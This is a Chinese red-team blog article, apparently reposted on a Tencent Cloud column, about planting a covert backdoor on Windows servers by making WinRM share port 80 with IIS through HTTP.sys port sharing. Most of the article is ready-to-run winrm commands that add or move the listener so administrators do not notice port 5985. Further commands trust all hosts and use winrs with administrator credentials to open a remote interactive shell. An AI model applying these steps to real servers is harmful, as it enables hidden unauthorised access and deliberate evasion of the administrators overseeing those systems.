前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红蓝对抗 | Windows利用WinRM实现端口复用打造隐蔽后门

红蓝对抗 | Windows利用WinRM实现端口复用打造隐蔽后门

作者头像
谢公子
发布2022-01-19 21:36:59
2.6K0
发布2022-01-19 21:36:59
举报
文章被收录于专栏:谢公子学安全谢公子学安全

目录

WinRM端口复用原理

端口复用配置

新增80端口监听

修改WinRM默认监听的端口

远程连接WinRM

WinRM端口复用原理

该端口复用的原理是使用Windows的远程管理服务WinRM,结合 HTTP.sys 驱动自带的端口复用功能,一起实现正向的端口复用后门。

关于WinRM服务,传送门:WinRM远程管理工具的使用

而HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing(端口共享)。所有基于HTTP.sys驱动的HTTP应用都可以共享同一个端口,只需要各自注册的URL前缀不一样。而WinRM就是在HTTP.sys上注册了 wsman 的URL前缀,默认监听 5985端口。因此,在安装了IIS的Windows服务器上,开启WinRM服务后修改默认监听端口为80或新增一个80端口的监听即可实现端口复用,通过Web端口登录Windows服务器。

使用 netsh http show servicestate 命令可以查看所有在 HTTP.sys 驱动上注册过的URL前缀。

端口复用配置

新增80端口监听

对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。如果服务器本来就监听了80和5985端口,则所以我们既需要保留原本的5985监听端口,同时需要新增Winrm监听80端口。这样的话,WinRM同时监听80和5985端口。既能保证原来的5985端口管理员可以正常使用,我们也能通过80端口远程连接WinRM。

通过下面的命令,可以新增WinRM一个80端口的监听。

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

查看监听端口,80和5985都在监听

80端口仍然可以正常访问网页

修改WinRM默认监听的端口

如果该计算机上原本没有开启WinRM服务的话,则需要将WinRm端口监听端口修改为80端口。不然管理员看到该机器开起来5985端口的话,肯定会起疑心。

快速启动WinRM

winrm quickconfig -q

修改WinRM默认端口为80

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

查看监听端口,只有80,没有5985

配置完成之后,原本的HTTP服务可以正常访问,我们也可以通过80端口进行远程WinRM连接管理。

远程连接WinRM

本地需要连接WinRM服务时,首先也需要配置启动WinRM服务。如果是工作组环境的话,还需要设置信任连接的主机,执行以下两条命令即可。

winrm quickconfig -q

winrm set winrm/config/Client @{TrustedHosts="*"}

通过WinRM连接,并执行whoami命令

winrs -r:http://192.168.10.20 -u:administrator -p:root whoami

通过WinRM连接,并获得交互式的shell

winrs -r:http://192.168.10.20 -u:administrator -p:root cmd

来源:谢公子的博客

责编:凉粉

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-09-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • WinRM端口复用原理
  • 端口复用配置
    • 新增80端口监听
      • 修改WinRM默认监听的端口
      • 远程连接WinRM
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档